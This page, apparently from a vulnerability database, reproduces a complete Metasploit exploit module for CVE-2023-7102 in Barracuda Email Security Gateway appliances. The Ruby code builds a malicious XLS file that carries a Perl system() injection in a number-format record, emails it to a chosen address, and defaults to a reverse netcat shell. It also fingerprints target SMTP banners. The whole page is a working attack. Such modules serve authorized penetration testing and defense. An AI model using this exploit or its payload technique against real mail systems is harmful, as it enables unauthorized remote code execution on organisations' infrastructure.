Lucene search
K

Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution

🗓️ 19 May 2026 19:00:00Reported by Mandiant, haile01, Curt HyvarinenType 
metasploit
 metasploit
🔗 www.rapid7.com👁 323 Views

Exploit module for Barracuda Email Security Gateway RCE via Excel attachments leveraging Spreadsheet ParseExcel flaw CVE 2023 7102.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::SMTPDeliver

  # BIFF8 Record Opcodes
  BIFF8_BOF = 0x0809  # Beginning of File
  BIFF8_EOF = 0x000A  # End of File
  BIFF8_CODEPAGE = 0x0042 # Code page
  BIFF8_WINDOW1 = 0x003D # Window information
  BIFF8_DATEMODE = 0x0022 # Date system
  BIFF8_FONT = 0x0031 # Font definition
  BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
  BIFF8_XF = 0x00E0 # Extended format
  BIFF8_STYLE = 0x0293 # Style definition
  BIFF8_BOUNDSHEET = 0x0085 # Sheet information
  BIFF8_DIMENSION = 0x0200 # Sheet dimensions
  BIFF8_ROW = 0x0208 # Row definition
  BIFF8_NUMBER = 0x0203 # Floating point cell

  # BIFF8 Constants
  BIFF8_VERSION = 0x0600
  BOF_WORKBOOK = 0x0005
  BOF_WORKSHEET = 0x0010

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
        'Description' => %q{
          This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
          in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
          in how the Amavis scanner processes Excel attachments using the Perl
          Spreadsheet::ParseExcel library.

          The library's Utility.pm contains an unsafe eval() that processes Excel
          Number format strings without validation. By crafting a malicious XLS file
          with a specially formatted Number format string containing Perl code, an
          attacker can achieve remote code execution when the ESG scans the email
          attachment.

          This module dynamically generates a minimal BIFF8 XLS file with the payload
          embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
          format string) or single quotes (breaks Perl eval injection).

          This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
          actor) starting November 2023. Barracuda deployed automatic patches on
          December 21, 2023.

          Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mandiant',             # CVE-2023-7101/7102 discovery
          'haile01',              # CVE-2023-7101 XLS payload technique
          'Curt Hyvarinen'        # Metasploit module
        ],
        'References' => [
          ['CVE', '2023-7102'],
          ['CVE', '2023-7101'],
          ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
          ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
          ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
        ],
        'DisclosureDate' => '2023-12-24',
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false, # Runs as scana user (Amavis scanner)
        'Payload' => {
          'Space' => 8192,
          'DisableNops' => true,
          'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('MAILTO', [true, 'Target email address on the ESG']),
        OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
        OptString.new('BODY', [false, 'Email body text (default: random)']),
        OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
      ]
    )
  end

  def check
    connect
    banner_str = banner.to_s
    if banner_str =~ /barracuda/i
      return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
    end

    if banner_str =~ /ESMTP/i
      return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
    end

    CheckCode::Safe('No SMTP banner detected')
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("Connection failed: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    cmd = payload.encoded

    # Validate payload doesn't contain characters that break the injection
    if cmd.include?(']')
      fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
    end
    if cmd.include?("'")
      fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
    end

    @subject = datastore['SUBJECT']
    @body = datastore['BODY']
    @filename = datastore['FILENAME']

    @mailfrom = datastore['MAILFROM']
    @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
    @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
    @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?

    print_status('Generating malicious XLS with payload in FORMAT record')
    xls_data = generate_malicious_xls(cmd)

    print_status('Composing email with XLS attachment')
    email_data = generate_exploit_email(xls_data)

    print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
    send_message(email_data)

    print_good('Email sent successfully')
    print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
  end

  #
  # Generate a malicious XLS file with payload embedded in FORMAT record
  # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
  #
  def generate_malicious_xls(cmd)
    # Build the malicious format string
    # Format: [>0;system('COMMAND')]0
    # The >0 comparison is always true for positive numbers, then Perl executes system()
    format_payload = "[>0;system('#{cmd}')]0"
    vprint_status("Format string payload: #{format_payload}")
    vprint_status("Payload length: #{format_payload.length} bytes")

    # Build BIFF8 workbook stream
    workbook = build_workbook_stream(format_payload)

    # Build BIFF8 worksheet stream
    worksheet = build_worksheet_stream

    # Combine streams (worksheet follows workbook globals in same stream)
    content = workbook + worksheet

    # Create OLE2 container using Rex::OLE
    xls_data = create_ole2_xls(content)

    vprint_status("Generated XLS size: #{xls_data.length} bytes")
    xls_data
  end

  #
  # Build BIFF8 workbook globals stream
  #
  def build_workbook_stream(format_payload)
    stream = ''.b

    # BOF - Workbook
    stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))

    # Codepage (UTF-16)
    stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))

    # Window1 - basic window settings
    stream << biff_record(BIFF8_WINDOW1, window1_data)

    # Datemode - 1900 date system
    stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))

    # Font records (need at least 4 for XF records)
    4.times { stream << biff_record(BIFF8_FONT, font_data) }

    # FORMAT record - this is where our payload lives
    stream << biff_record(BIFF8_FORMAT, format_data(format_payload))

    # XF records (cell formatting) - need 21 built-in + 1 custom
    21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
    stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format

    # Style record
    stream << biff_record(BIFF8_STYLE, style_data)

    # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
    # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
    boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
    eof_size = biff_record(BIFF8_EOF, '').bytesize
    stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))

    # EOF
    stream << biff_record(BIFF8_EOF, '')

    stream
  end

  #
  # Build BIFF8 worksheet stream
  #
  def build_worksheet_stream
    stream = ''.b

    # BOF - Worksheet
    stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))

    # Dimension - 1x1 used range
    stream << biff_record(BIFF8_DIMENSION, dimension_data)

    # Row definition
    stream << biff_record(BIFF8_ROW, row_data(0))

    # NUMBER record - cell with value that triggers format processing
    # Row 0, Col 0, XF index 21 (our custom format), Value 123.0
    stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))

    # EOF
    stream << biff_record(BIFF8_EOF, '')

    stream
  end

  #
  # Create OLE2 compound document containing the workbook stream
  #
  def create_ole2_xls(content)
    # Create temporary file for Rex::OLE
    tmpfile = Rex::Quickfile.new('msf-xls')
    tmppath = tmpfile.path
    tmpfile.close

    begin
      stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
      fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg

      stm = stg.create_stream('Workbook')
      fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm

      stm << content
      stm.close
      stg.close

      # Read the generated file
      xls_data = File.binread(tmppath)
      xls_data
    ensure
      File.delete(tmppath) if File.exist?(tmppath)
    end
  end

  # BIFF8 Record Helpers

  #
  # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
  #
  def biff_record(opcode, data)
    [opcode, data.bytesize].pack('v2') + data
  end

  #
  # BOF record data
  #
  def bof_data(sheet_type)
    [
      BIFF8_VERSION,   # BIFF version
      sheet_type,      # Sheet type (workbook or worksheet)
      0x0DBB,          # Build identifier
      0x07CC,          # Build year
      0x000000C1,      # File history flags
      0x00000006       # Lowest BIFF version
    ].pack('v4V2')
  end

  #
  # Window1 record data
  #
  def window1_data
    [
      0x0000,  # Horizontal position
      0x0000,  # Vertical position
      0x4000,  # Width
      0x2000,  # Height
      0x0038,  # Options
      0x0000,  # Selected tab
      0x0000,  # First displayed tab
      0x0001,  # Selected tabs count
      0x00E5   # Tab bar width ratio
    ].pack('v9')
  end

  #
  # Font record data
  #
  def font_data
    font_name = 'Arial'
    data = [
      0x00C8,           # Height (200 twips = 10pt)
      0x0000,           # Options
      0x7FFF,           # Color index
      0x0190,           # Font weight (400 = normal)
      0x0000,           # Escapement
      0x00,             # Underline
      0x00,             # Font family
      0x00,             # Character set
      0x00,             # Reserved
      font_name.length  # Name length (byte string)
    ].pack('v4vC5')
    data << font_name
    data
  end

  #
  # FORMAT record data - contains our payload
  #
  def format_data(format_string)
    # FORMAT record structure for BIFF8:
    # - 2 bytes: format index (custom formats start at 164)
    # - 2 bytes: string length (character count)
    # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
    # - variable: string data
    format_index = 165

    data = [
      format_index,
      format_string.length,
      0x00 # Latin-1 encoding (single byte per char)
    ].pack('v2C')
    data << format_string
    data
  end

  #
  # XF (extended format) record data
  #
  def xf_data(format_index)
    [
      0x0000,        # Font index
      format_index,  # Format index (0 = General, 165 = our custom)
      0x0001,        # Type/protection flags
      0x00,          # Alignment
      0x00,          # Rotation
      0x00,          # Text properties
      0x00,          # Used attributes
      0x00000000,    # Border colors
      0x00000000,    # Border lines
      0x00000000     # Pattern/background color
    ].pack('v3C4V3')
  end

  #
  # Style record data
  #
  def style_data
    [
      0x8000,  # XF index with built-in flag set
      0x00,    # Built-in style ID (Normal)
      0xFF     # Outline level
    ].pack('vCC')
  end

  #
  # Boundsheet record data
  #
  def boundsheet_data(sheet_offset)
    sheet_name = 'Sheet1'
    data = [
      sheet_offset,       # Absolute offset to BOF
      0x00,               # Sheet state (visible)
      0x00,               # Sheet type (worksheet)
      sheet_name.length   # Name length
    ].pack('VCC C')
    data << sheet_name
    data
  end

  #
  # Dimension record data
  #
  def dimension_data
    [
      0x0000,  # First row
      0x0001,  # Last row + 1
      0x0000,  # First column
      0x0001,  # Last column + 1
      0x0000   # Reserved
    ].pack('v5')
  end

  #
  # Row record data
  #
  def row_data(row_num)
    [
      row_num,  # Row number
      0x0000,   # First defined column
      0x0001,   # Last defined column + 1
      0x00FF,   # Row height
      0x0000,   # Reserved
      0x0000,   # Reserved
      0x0100    # Options
    ].pack('v7')
  end

  #
  # NUMBER record data
  #
  def number_data(row, col, xf_index, value)
    data = [row, col, xf_index].pack('v3')
    data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
    data
  end

  #
  # Generate MIME email with XLS attachment
  #
  def generate_exploit_email(xls_data)
    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.from = @mailfrom
    msg.to = datastore['MAILTO']
    msg.subject = @subject

    msg.add_part(@body, 'text/plain', nil, 'inline')
    msg.add_part_attachment(xls_data, @filename)

    msg.to_s
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation